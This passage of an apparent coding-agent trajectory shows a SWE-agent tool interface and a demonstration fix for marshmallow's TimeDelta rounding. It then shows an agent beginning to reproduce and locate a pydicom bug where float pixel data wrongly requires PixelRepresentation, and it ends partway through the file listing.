create\n\nsubmit:\n docstring: submits your current code and terminates the session\n signature: submit\n\nsearch_dir:\n docstring: searches for search_term in all files in dir. If dir is not provided, searches in the current directory\n signature: search_dir []\n arguments:\n - search_term (string) [required]: the term to search for\n - dir (string) [optional]: the directory to search in (if not provided, searches in the current directory)\n\nsearch_file:\n docstring: searches for search_term in file. If file is not provided, searches in the current open file\n signature: search_file []\n arguments:\n - search_term (string) [required]: the term to search for\n - file (string) [optional]: the file to search in (if not provided, searches in the current open file)\n\nfind_file:\n docstring: finds all files with the given name in dir. If dir is not provided, searches in the current directory\n signature: find_file []\n arguments:\n - file_name (string) [required]: the name of the file to search for\n - dir (string) [optional]: the directory to search in (if not provided, searches in the current directory)\n\nedit:\n docstring: replaces lines through (inclusive) with the given text in the open file. The replacement text is terminated by a line with only end_of_edit on it. All of the will be entered, so make sure your indentation is formatted properly. Python files will be checked for syntax errors after the edit. If the system detects a syntax error, the edit will not be executed. Simply try to edit the file again, but make sure to read the error message and modify the edit command you issue accordingly. Issuing the same command a second time will just lead to the same error message again.\n signature: edit :\n\nend_of_edit\n arguments:\n - start_line (integer) [required]: the line number to start the edit at\n - end_line (integer) [required]: the line number to end the edit at (inclusive)\n - replacement_text (string) [required]: the text to replace the current selection with\n\n\n\nPlease note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. \nIf you'd like to add the line ' print(x)' you must fully write that out, with all those spaces before the code! Indentation is important and code that is not indented correctly will fail and require fixing before it can be run.\n\nRESPONSE FORMAT:\nYour shell prompt is formatted as follows:\n(Open file: ) $\n\nYou need to format your output using two fields; discussion and command.\nYour output should always include _one_ discussion and _one_ command field EXACTLY as in the following example:\nDISCUSSION\nFirst I'll start by using ls to see what files are in the current directory. Then maybe we can look at some relevant files to see what they look like.\n```\nls -a\n```\n\nYou should only include a *SINGLE* command in the command section and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference.\nIf you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first command, and then after receiving a response you'll be able to issue the second command. \nYou're free to use any other bash commands you want (e.g. find, grep, cat, ls, cd) in addition to the special commands listed above.\nHowever, the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them.", + "agent": "primary" + }, + { + "agent": "primary", + "content": "Here is a demonstration of how to correctly accomplish this task.\nIt is included to show you how to correctly use the interface.\nYou do not need to follow exactly what is done in the demonstration.\n--- DEMONSTRATION ---\nWe're currently solving the following issue within our repository. Here's the issue text:\nISSUE:\nTimeDelta serialization precision\nHi there!\n\nI just found quite strange behaviour of `TimeDelta` field serialization\n\n```python3\nfrom marshmallow.fields import TimeDelta\nfrom datetime import timedelta\n\ntd_field = TimeDelta(precision=\"milliseconds\")\n\nobj = dict()\nobj[\"td_field\"] = timedelta(milliseconds=345)\n\nprint(td_field.serialize(\"td_field\", obj))\n```\n\nOutput of this snippet is `344`, but it seems that `345` is correct.\n\nLooks like a rounding issue here: https://github.com/marshmallow-code/marshmallow/blob/dev/src/marshmallow/fields.py#L1474\n\n\nINSTRUCTIONS:\nNow, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. \nRemember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command. \nWhen you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command.\nNote however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with `python .py`.\n\nNOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! \n\nIMPORTANT TIPS:\n1. Always start by trying to replicate the bug that the issues discusses. \n If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug.\n Then start trying to fix it.\n When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed.\n \n If the bug reproduction script does not print anything when it succesfully runs, we recommend adding a print(\"Script completed successfully, no errors.\") command at the end of the file,\n so that you can be sure that the script indeed ran fine all the way through. \n\n2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it!\n\n3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. \n \n4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file \"buggy-input.png\" If that doensn't work, use the linux 'find' command. \n\n5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file.\n\n6. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it.\n \n\n(Open file: n/a)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nLet's first start by reproducing the results of the issue. The issue includes some example code for reproduction, which we can use. We'll create a new file called `reproduce.py` and paste the example code into it.\n```\ncreate reproduce.py\n```\n[File: /marshmallow-code__marshmallow/reproduce.py (1 lines total)]\n1:\n\n(Open file: /marshmallow-code__marshmallow/reproduce.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nNow let's paste in the example code from the issue.\n```\nedit 1:1\nfrom marshmallow.fields import TimeDelta\nfrom datetime import timedelta\n\ntd_field = TimeDelta(precision=\"milliseconds\")\n\nobj = dict()\nobj[\"td_field\"] = timedelta(milliseconds=345)\n\nprint(td_field.serialize(\"td_field\", obj))\nend_of_edit\n```\n[File: /marshmallow-code__marshmallow/reproduce.py (9 lines total)]\n1:from marshmallow.fields import TimeDelta\n2:from datetime import timedelta\n3:\n4:td_field = TimeDelta(precision=\"milliseconds\")\n5:\n6:obj = dict()\n7:obj[\"td_field\"] = timedelta(milliseconds=345)\n8:\n9:print(td_field.serialize(\"td_field\", obj))\nFile updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.\n\n(Open file: /marshmallow-code__marshmallow/reproduce.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nNow let's run the code to see if we see the same output as the issue.\n```\npython reproduce.py\n```\n344\n\n(Open file: /marshmallow-code__marshmallow/reproduce.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nWe are indeed seeing the same output as the issue. The issue suggests that we should look at line 1474 of the `fields.py` file to see if there is a rounding issue. Let's open the `fields.py` file and navigate to line 1474 to see the relevant code. First we should find the `fields.py` file in the repository. It is likely to be in the `src/marshmallow` directory, but we should check to be sure.\n```\nls -F\n```\nAUTHORS.rst\nCHANGELOG.rst\nCODE_OF_CONDUCT.md\nCONTRIBUTING.rst\nLICENSE\nMANIFEST.in\nNOTICE\nREADME.rst\nRELEASING.md\nazure-pipelines.yml\ndocs/\nexamples/\nperformance/\npyproject.toml\nreproduce.py\nsetup.cfg\nsetup.py\nsrc/\ntests/\ntox.ini\n\n(Open file: /marshmallow-code__marshmallow/reproduce.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nIt looks like the `src` directory is present, which suggests that the `fields.py` file is likely to be in the `src` directory. Let's use find_file to see where it is.\n```\nfind_file \"fields.py\" src\n```\nFound 1 matches for \"fields.py\" in /marshmallow-code__marshmallow/src:\n/marshmallow-code__marshmallow/src/marshmallow/fields.py\n\n(Open file: /marshmallow-code__marshmallow/reproduce.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nIt looks like the `fields.py` file is present in the `./src/marshmallow/` directory. The issue also points to a specific URL with line number 1474. We should navigate to that line in fields.py to see the relevant code for the `TimeDelta` serialization.\n```\nopen src/marshmallow/fields.py 1474\n```\n[File: /marshmallow-code__marshmallow/src/marshmallow/fields.py (1997 lines total)]\n(1458 more lines above)\n1459: self.WEEKS,\n1460: )\n1461:\n1462: if precision not in units:\n1463: msg = 'The precision must be {} or \"{}\".'.format(\n1464: \", \".join([f'\"{each}\"' for each in units[:-1]]), units[-1]\n1465: )\n1466: raise ValueError(msg)\n1467:\n1468: self.precision = precision\n1469: super().__init__(**kwargs)\n1470:\n1471: def _serialize(self, value, attr, obj, **kwargs):\n1472: if value is None:\n1473: return None\n1474: base_unit = dt.timedelta(**{self.precision: 1})\n1475: return int(value.total_seconds() / base_unit.total_seconds())\n1476:\n1477: def _deserialize(self, value, attr, data, **kwargs):\n1478: try:\n1479: value = int(value)\n1480: except (TypeError, ValueError) as error:\n1481: raise self.make_error(\"invalid\") from error\n1482:\n1483: kwargs = {self.precision: value}\n1484:\n1485: try:\n1486: return dt.timedelta(**kwargs)\n1487: except OverflowError as error:\n1488: raise self.make_error(\"invalid\") from error\n1489:\n1490:\n1491:class Mapping(Field):\n1492: \"\"\"An abstract class for objects with key-value pairs.\n1493:\n1494: :param keys: A field class or instance for dict keys.\n1495: :param values: A field class or instance for dict values.\n1496: :param kwargs: The same keyword arguments that :class:`Field` receives.\n1497:\n1498: .. note::\n1499: When the structure of nested data is not known, you may omit the\n1500: `keys` and `values` arguments to prevent content validation.\n1501:\n1502: .. versionadded:: 3.0.0rc4\n1503: \"\"\"\n1504:\n1505: mapping_type = dict\n1506:\n1507: #: Default error messages.\n1508: default_error_messages = {\"invalid\": \"Not a valid mapping type.\"}\n1509:\n1510: def __init__(\n1511: self,\n1512: keys: typing.Optional[typing.Union[Field, type]] = None,\n1513: values: typing.Optional[typing.Union[Field, type]] = None,\n1514: **kwargs,\n1515: ):\n1516: super().__init__(**kwargs)\n1517: if keys is None:\n1518: self.key_field = None\n1519: else:\n1520: try:\n1521: self.key_field = resolve_field_instance(keys)\n1522: except FieldInstanceResolutionError as error:\n1523: raise ValueError(\n1524: '\"keys\" must be a subclass or instance of '\n1525: \"marshmallow.base.FieldABC.\"\n1526: ) from error\n1527:\n1528: if values is None:\n1529: self.value_field = None\n1530: else:\n1531: try:\n1532: self.value_field = resolve_field_instance(values)\n1533: except FieldInstanceResolutionError as error:\n1534: raise ValueError(\n1535: '\"values\" must be a subclass or instance of '\n1536: \"marshmallow.base.FieldABC.\"\n1537: ) from error\n1538: if isinstance(self.value_field, Nested):\n1539: self.only = self.value_field.only\n1540: self.exclude = self.value_field.exclude\n1541:\n1542: def _bind_to_schema(self, field_name, schema):\n1543: super()._bind_to_schema(field_name, schema)\n1544: if self.value_field:\n1545: self.value_field = copy.deepcopy(self.value_field)\n1546: self.value_field._bind_to_schema(field_name, self)\n1547: if isinstance(self.value_field, Nested):\n1548: self.value_field.only = self.only\n1549: self.value_field.exclude = self.exclude\n1550: if self.key_field:\n1551: self.key_field = copy.deepcopy(self.key_field)\n1552: self.key_field._bind_to_schema(field_name, self)\n1553:\n1554: def _serialize(self, value, attr, obj, **kwargs):\n1555: if value is None:\n1556: return None\n1557: if not self.value_field and not self.key_field:\n1558: return self.mapping_type(value)\n(439 more lines below)\n\n(Open file: /marshmallow-code__marshmallow/src/marshmallow/fields.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nWe are now looking at the relevant section of the `fields.py` file where the `TimeDelta` serialization occurs. The issue suggests that there is a rounding problem near line 1474. The current implementation uses integer division, which truncates the decimal part and can lead to incorrect rounding on line 1475.To fix this issue, we should ensure that the division results in a float, and then round the result to the nearest integer before converting it to an int. This should preserve the milliseconds precision as expected. Let's make the necessary edit to the code.\n```\nedit 1475:1475\nreturn int(round(value.total_seconds() / base_unit.total_seconds())) # round to nearest int\nend_of_edit\n```\nYour proposed edit has introduced new syntax error(s). Please understand the fixes and retry your edit commmand.\n\nERRORS:\n- E999 IndentationError: unexpected indent\n\nThis is how your edit would have looked if applied\n-------------------------------------------------\n[File: /marshmallow-code__marshmallow/src/marshmallow/fields.py (1997 lines total)]\n(1468 more lines above)\n1469: super().__init__(**kwargs)\n1470:\n1471: def _serialize(self, value, attr, obj, **kwargs):\n1472: if value is None:\n1473: return None\n1474: base_unit = dt.timedelta(**{self.precision: 1})\n1475:return int(round(value.total_seconds() / base_unit.total_seconds())) # round to nearest int\n1476:\n1477: def _deserialize(self, value, attr, data, **kwargs):\n1478: try:\n1479: value = int(value)\n(518 more lines below)\n-------------------------------------------------\n\nThis is the original code before your edit\n-------------------------------------------------\n[File: /marshmallow-code__marshmallow/src/marshmallow/fields.py (1997 lines total)]\n(1469 more lines above)\n1470:\n1471: def _serialize(self, value, attr, obj, **kwargs):\n1472: if value is None:\n1473: return None\n1474: base_unit = dt.timedelta(**{self.precision: 1})\n1475: return int(value.total_seconds() / base_unit.total_seconds())\n1476:\n1477: def _deserialize(self, value, attr, data, **kwargs):\n1478: try:\n1479: value = int(value)\n1480: except (TypeError, ValueError) as error:\n(517 more lines below)\n-------------------------------------------------\nYour changes have NOT been applied. Please fix your edit command and try again.\nYou either need to 1) Specify the correct start/end line arguments or 2) Correct your edit code.\nDO NOT re-run the same failed edit command. Running it again will lead to the same error.\n\n(Open file: /marshmallow-code__marshmallow/src/marshmallow/fields.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nMy edit command did not use the proper indentation, I will fix my syntax in this follow up edit command.\n```\nedit 1475:1475\n return int(round(value.total_seconds() / base_unit.total_seconds())) # round to nearest int\nend_of_edit\n```\n[File: /marshmallow-code__marshmallow/src/marshmallow/fields.py (1997 lines total)]\n(1424 more lines above)\n1425:\n1426: :param precision: Influences how the integer is interpreted during\n1427: (de)serialization. Must be 'days', 'seconds', 'microseconds',\n1428: 'milliseconds', 'minutes', 'hours' or 'weeks'.\n1429: :param kwargs: The same keyword arguments that :class:`Field` receives.\n1430:\n1431: .. versionchanged:: 2.0.0\n1432: Always serializes to an integer value to avoid rounding errors.\n1433: Add `precision` parameter.\n1434: \"\"\"\n1435:\n1436: DAYS = \"days\"\n1437: SECONDS = \"seconds\"\n1438: MICROSECONDS = \"microseconds\"\n1439: MILLISECONDS = \"milliseconds\"\n1440: MINUTES = \"minutes\"\n1441: HOURS = \"hours\"\n1442: WEEKS = \"weeks\"\n1443:\n1444: #: Default error messages.\n1445: default_error_messages = {\n1446: \"invalid\": \"Not a valid period of time.\",\n1447: \"format\": \"{input!r} cannot be formatted as a timedelta.\",\n1448: }\n1449:\n1450: def __init__(self, precision: str = SECONDS, **kwargs):\n1451: precision = precision.lower()\n1452: units = (\n1453: self.DAYS,\n1454: self.SECONDS,\n1455: self.MICROSECONDS,\n1456: self.MILLISECONDS,\n1457: self.MINUTES,\n1458: self.HOURS,\n1459: self.WEEKS,\n1460: )\n1461:\n1462: if precision not in units:\n1463: msg = 'The precision must be {} or \"{}\".'.format(\n1464: \", \".join([f'\"{each}\"' for each in units[:-1]]), units[-1]\n1465: )\n1466: raise ValueError(msg)\n1467:\n1468: self.precision = precision\n1469: super().__init__(**kwargs)\n1470:\n1471: def _serialize(self, value, attr, obj, **kwargs):\n1472: if value is None:\n1473: return None\n1474: base_unit = dt.timedelta(**{self.precision: 1})\n1475: return int(round(value.total_seconds() / base_unit.total_seconds())) # round to nearest int\n1476:\n1477: def _deserialize(self, value, attr, data, **kwargs):\n1478: try:\n1479: value = int(value)\n1480: except (TypeError, ValueError) as error:\n1481: raise self.make_error(\"invalid\") from error\n1482:\n1483: kwargs = {self.precision: value}\n1484:\n1485: try:\n1486: return dt.timedelta(**kwargs)\n1487: except OverflowError as error:\n1488: raise self.make_error(\"invalid\") from error\n1489:\n1490:\n1491:class Mapping(Field):\n1492: \"\"\"An abstract class for objects with key-value pairs.\n1493:\n1494: :param keys: A field class or instance for dict keys.\n1495: :param values: A field class or instance for dict values.\n1496: :param kwargs: The same keyword arguments that :class:`Field` receives.\n1497:\n1498: .. note::\n1499: When the structure of nested data is not known, you may omit the\n1500: `keys` and `values` arguments to prevent content validation.\n1501:\n1502: .. versionadded:: 3.0.0rc4\n1503: \"\"\"\n1504:\n1505: mapping_type = dict\n1506:\n1507: #: Default error messages.\n1508: default_error_messages = {\"invalid\": \"Not a valid mapping type.\"}\n1509:\n1510: def __init__(\n1511: self,\n1512: keys: typing.Optional[typing.Union[Field, type]] = None,\n1513: values: typing.Optional[typing.Union[Field, type]] = None,\n1514: **kwargs,\n1515: ):\n1516: super().__init__(**kwargs)\n1517: if keys is None:\n1518: self.key_field = None\n1519: else:\n1520: try:\n1521: self.key_field = resolve_field_instance(keys)\n1522: except FieldInstanceResolutionError as error:\n1523: raise ValueError(\n1524: '\"keys\" must be a subclass or instance of '\n(473 more lines below)\nFile updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.\n\n(Open file: /marshmallow-code__marshmallow/src/marshmallow/fields.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nThe code has been updated to use the `round` function, which should fix the rounding issue. Before submitting the changes, it would be prudent to run the reproduce.py code again to ensure that this change has the desired effect. I see that \"Current directory\" is still `/marshmallow-code__marshmallow`, so we can just run `reproduce.py` directly.\n```\npython reproduce.py\n```\n345\n\n(Open file: /marshmallow-code__marshmallow/src/marshmallow/fields.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nThe output has changed from 344 to 345, which suggests that the rounding issue has been fixed. Let's remove the reproduce.py file since it is no longer needed.\n```\nrm reproduce.py\n```\nYour command ran successfully and did not produce any output.\n(Open file: /marshmallow-code__marshmallow/src/marshmallow/fields.py)\n(Current directory: /marshmallow-code__marshmallow)\nbash-$\nrm doesn't have any output when it deletes successfully, so that must have worked. Now that we have fixed the issue, we should submit our changes to the code base. Let's submit the changes using the `submit` command.\n```\nsubmit\n```\n--- END OF DEMONSTRATION ---\n", + "is_demo": true, + "role": "user" + }, + { + "role": "user", + "content": "We're currently solving the following issue within our repository. Here's the issue text:\nISSUE:\nPixel Representation attribute should be optional for pixel data handler\n**Describe the bug**\r\nThe NumPy pixel data handler currently [requires the Pixel Representation attribute](https://github.com/pydicom/pydicom/blob/8da0b9b215ebfad5756051c891def88e426787e7/pydicom/pixel_data_handlers/numpy_handler.py#L46). This is problematic, because in case of Float Pixel Data or Double Float Pixel Data the attribute shall be absent. Compare [Floating Point Image Pixel Module Attributes](http://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_C.7.6.24.html) versus [Image Pixel Description Macro Attributes](http://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_C.7.6.3.html#table_C.7-11c)\r\n\r\n**Expected behavior**\r\nI would expect the `Dataset.pixel_array` property to be able to decode a Float Pixel Data or Double Float Pixel Data element without presence of the Pixel Representation element in the metadata.\r\n\r\n**Steps To Reproduce**\r\n```python\r\nimport numpy as np\r\nfrom pydicom.dataset import Dataset, FileMetaDataset\r\n\r\n\r\nds = Dataset()\r\nds.file_meta = FileMetaDataset()\r\nds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\r\n\r\nds.BitsAllocated = 32\r\nds.SamplesPerPixel = 1\r\nds.Rows = 5\r\nds.Columns = 5\r\nds.PhotometricInterpretation = 'MONOCHROME2'\r\n\r\npixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\r\nds.FloatPixelData = pixel_array.flatten().tobytes()\r\n\r\nnp.array_equal(ds.pixel_array, pixel_array)\r\n```\n\n\nINSTRUCTIONS:\nNow, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. \nRemember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command. \nWhen you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command.\nNote however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with `python .py`.\n\nNOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! \n\nIMPORTANT TIPS:\n1. Always start by trying to replicate the bug that the issues discusses. \n If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug.\n Then start trying to fix it.\n When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed.\n \n If the bug reproduction script does not print anything when it succesfully runs, we recommend adding a print(\"Script completed successfully, no errors.\") command at the end of the file,\n so that you can be sure that the script indeed ran fine all the way through. \n\n2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it!\n\n3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. \n \n4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file \"buggy-input.png\" If that doensn't work, use the linux 'find' command. \n\n5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file.\n\n6. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it.\n \n\n(Open file: n/a)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "First, I'll create a new Python script to reproduce the bug as described in the issue. This script will attempt to create a `Dataset` object with Float Pixel Data and then access the `pixel_array` property to see if it fails due to the absence of the Pixel Representation attribute.\n\n```\ncreate reproduce_bug.py\n```", + "thought": "First, I'll create a new Python script to reproduce the bug as described in the issue. This script will attempt to create a `Dataset` object with Float Pixel Data and then access the `pixel_array` property to see if it fails due to the absence of the Pixel Representation attribute.\n\n", + "action": "create reproduce_bug.py\n", + "agent": "primary" + }, + { + "role": "user", + "content": "[File: /pydicom__pydicom/reproduce_bug.py (1 lines total)]\n1:\n\n(Open file: /pydicom__pydicom/reproduce_bug.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "Now let's paste in the example code from the issue into the `reproduce_bug.py` file to replicate the bug.\n\n```\nedit 1:1\nimport numpy as np\nfrom pydicom.dataset import Dataset, FileMetaDataset\n\nds = Dataset()\nds.file_meta = FileMetaDataset()\nds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\n\nds.BitsAllocated = 32\nds.SamplesPerPixel = 1\nds.Rows = 5\nds.Columns = 5\nds.PhotometricInterpretation = 'MONOCHROME2'\n\npixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\nds.FloatPixelData = pixel_array.flatten().tobytes()\n\nresult = np.array_equal(ds.pixel_array, pixel_array)\nprint(\"Script completed successfully, no errors. Result:\", result)\nend_of_edit\n```", + "thought": "Now let's paste in the example code from the issue into the `reproduce_bug.py` file to replicate the bug.\n\n", + "action": "edit 1:1\nimport numpy as np\nfrom pydicom.dataset import Dataset, FileMetaDataset\n\nds = Dataset()\nds.file_meta = FileMetaDataset()\nds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\n\nds.BitsAllocated = 32\nds.SamplesPerPixel = 1\nds.Rows = 5\nds.Columns = 5\nds.PhotometricInterpretation = 'MONOCHROME2'\n\npixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\nds.FloatPixelData = pixel_array.flatten().tobytes()\n\nresult = np.array_equal(ds.pixel_array, pixel_array)\nprint(\"Script completed successfully, no errors. Result:\", result)\nend_of_edit\n", + "agent": "primary" + }, + { + "role": "user", + "content": "[File: /pydicom__pydicom/reproduce_bug.py (18 lines total)]\n1:import numpy as np\n2:from pydicom.dataset import Dataset, FileMetaDataset\n3:\n4:ds = Dataset()\n5:ds.file_meta = FileMetaDataset()\n6:ds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\n7:\n8:ds.BitsAllocated = 32\n9:ds.SamplesPerPixel = 1\n10:ds.Rows = 5\n11:ds.Columns = 5\n12:ds.PhotometricInterpretation = 'MONOCHROME2'\n13:\n14:pixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\n15:ds.FloatPixelData = pixel_array.flatten().tobytes()\n16:\n17:result = np.array_equal(ds.pixel_array, pixel_array)\n18:print(\"Script completed successfully, no errors. Result:\", result)\nFile updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.\n\n(Open file: /pydicom__pydicom/reproduce_bug.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The `reproduce_bug.py` script has been updated with the code provided in the issue. Now, let's run the script to see if we can reproduce the bug.\n\n```\npython reproduce_bug.py\n```", + "thought": "The `reproduce_bug.py` script has been updated with the code provided in the issue. Now, let's run the script to see if we can reproduce the bug.\n\n", + "action": "python reproduce_bug.py\n", + "agent": "primary" + }, + { + "role": "user", + "content": "Traceback (most recent call last):\n File \"/pydicom__pydicom/reproduce_bug.py\", line 17, in \n result = np.array_equal(ds.pixel_array, pixel_array)\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 836, in __getattr__\n return object.__getattribute__(self, name)\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 1882, in pixel_array\n self.convert_pixel_data()\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 1444, in convert_pixel_data\n self._convert_pixel_data_without_handler()\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 1556, in _convert_pixel_data_without_handler\n raise last_exception # type: ignore[misc]\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 1536, in _convert_pixel_data_without_handler\n self._do_pixel_data_conversion(handler)\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 1563, in _do_pixel_data_conversion\n arr = handler.get_pixeldata(self)\n File \"/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\", line 293, in get_pixeldata\n raise AttributeError(\nAttributeError: Unable to convert the pixel data as the following required elements are missing from the dataset: PixelRepresentation\n\n(Open file: /pydicom__pydicom/reproduce_bug.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The script has successfully reproduced the bug, as it raised an `AttributeError` due to the missing `PixelRepresentation` attribute when attempting to access the `pixel_array` property. This confirms the issue described.\n\nThe next step is to locate the `numpy_handler.py` file where the error is raised and modify the code to handle cases where the `PixelRepresentation` attribute is not required, such as with Float Pixel Data or Double Float Pixel Data.\n\nLet's use the `find_file` command to locate the `numpy_handler.py` file within the repository.\n\n```\nfind_file \"numpy_handler.py\"\n```", + "thought": "The script has successfully reproduced the bug, as it raised an `AttributeError` due to the missing `PixelRepresentation` attribute when attempting to access the `pixel_array` property. This confirms the issue described.\n\nThe next step is to locate the `numpy_handler.py` file where the error is raised and modify the code to handle cases where the `PixelRepresentation` attribute is not required, such as with Float Pixel Data or Double Float Pixel Data.\n\nLet's use the `find_file` command to locate the `numpy_handler.py` file within the repository.\n\n", + "action": "find_file \"numpy_handler.py\"\n", + "agent": "primary" + }, + { + "role": "user", + "content": "Found 3 matches for \"numpy_handler.py\" in /pydicom__pydicom:\n/pydicom__pydicom/pydicom/overlays/numpy_handler.py\n/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\n/pydicom__pydicom/pydicom/waveforms/numpy_handler.py\n\n(Open file: /pydicom__pydicom/reproduce_bug.py)\n(Current directory: /pydicom__pydicom)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The file we are interested in is `/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py`, as indicated by the traceback from the script execution. Let's open this file and navigate to the line that raises the error, which is line 293 according to the traceback.\n\n```\nopen pydicom/pixel_data_handlers/numpy_handler.py 293\n```", + "thought": "The file we are interested in is `/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py`, as indicated by the traceback from the script execution. Let's open this file and navigate to the line that raises the error, which is line 293 according to the traceback.\n\n", + "action": "open pydicom/pixel_data_handlers/numpy_handler.py 293\n", + "agent": "primary" + }, + { + "role": "user", + "content": "[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (372 lines total)]\n(272 more lines above)\n273: \"Unable to convert the pixel data as the transfer syntax \"\n274: \"is not supported by the numpy pixel data handler.\"\n275: )\n276:\n277: # Check required elements\n278: keywords = ['PixelData', 'FloatPixelData', 'DoubleFloatPixelData']\n279: px_keyword = [kw for kw in keywords if kw in ds]\n280: if len(px_keyword) != 1:\n281: raise AttributeError(\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n289: 'SamplesPerPixel', 'PhotometricInterpretation'\n290: ]\n291: missing = [elem for elem in required_elements if elem not in ds]\n292: if missing:\n293: raise AttributeError(\n294: \"Unable to convert the pixel data as the following required \"\n295: \"elements are missing from the dataset: \" + \", \".join(missing)\n296: )\n297:\n298: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n299: pixel_data = getattr(ds, px_keyword[0])\n300:\n301: # Calculate the expected length of the pixel data (in bytes)\n302: # Note: this does NOT include the trailing null byte for odd length data\n303: expected_len = get_expected_length(ds)\n304:\n305: # Check that the actual length of the pixel data is as expected\n306: actual_length = len(pixel_data)\n307:\n308: # Correct for the trailing NULL byte padding for odd length data\n309: padded_expected_len = expected_len + expected_len % 2\n310: if actual_length < padded_expected_len:\n311: if actual_length == expected_len:\n312: warnings.warn(\n313: \"The odd length pixel data is missing a trailing padding byte\"\n314: )\n315: else:\n316: raise ValueError(\n317: \"The length of the pixel data in the dataset ({} bytes) \"\n318: \"doesn't match the expected length ({} bytes). \"\n319: \"The dataset may be corrupted or there may be an issue \"\n320: \"with the pixel data handler.\"\n321: .format(actual_length, padded_expected_len)\n322: )\n323: elif 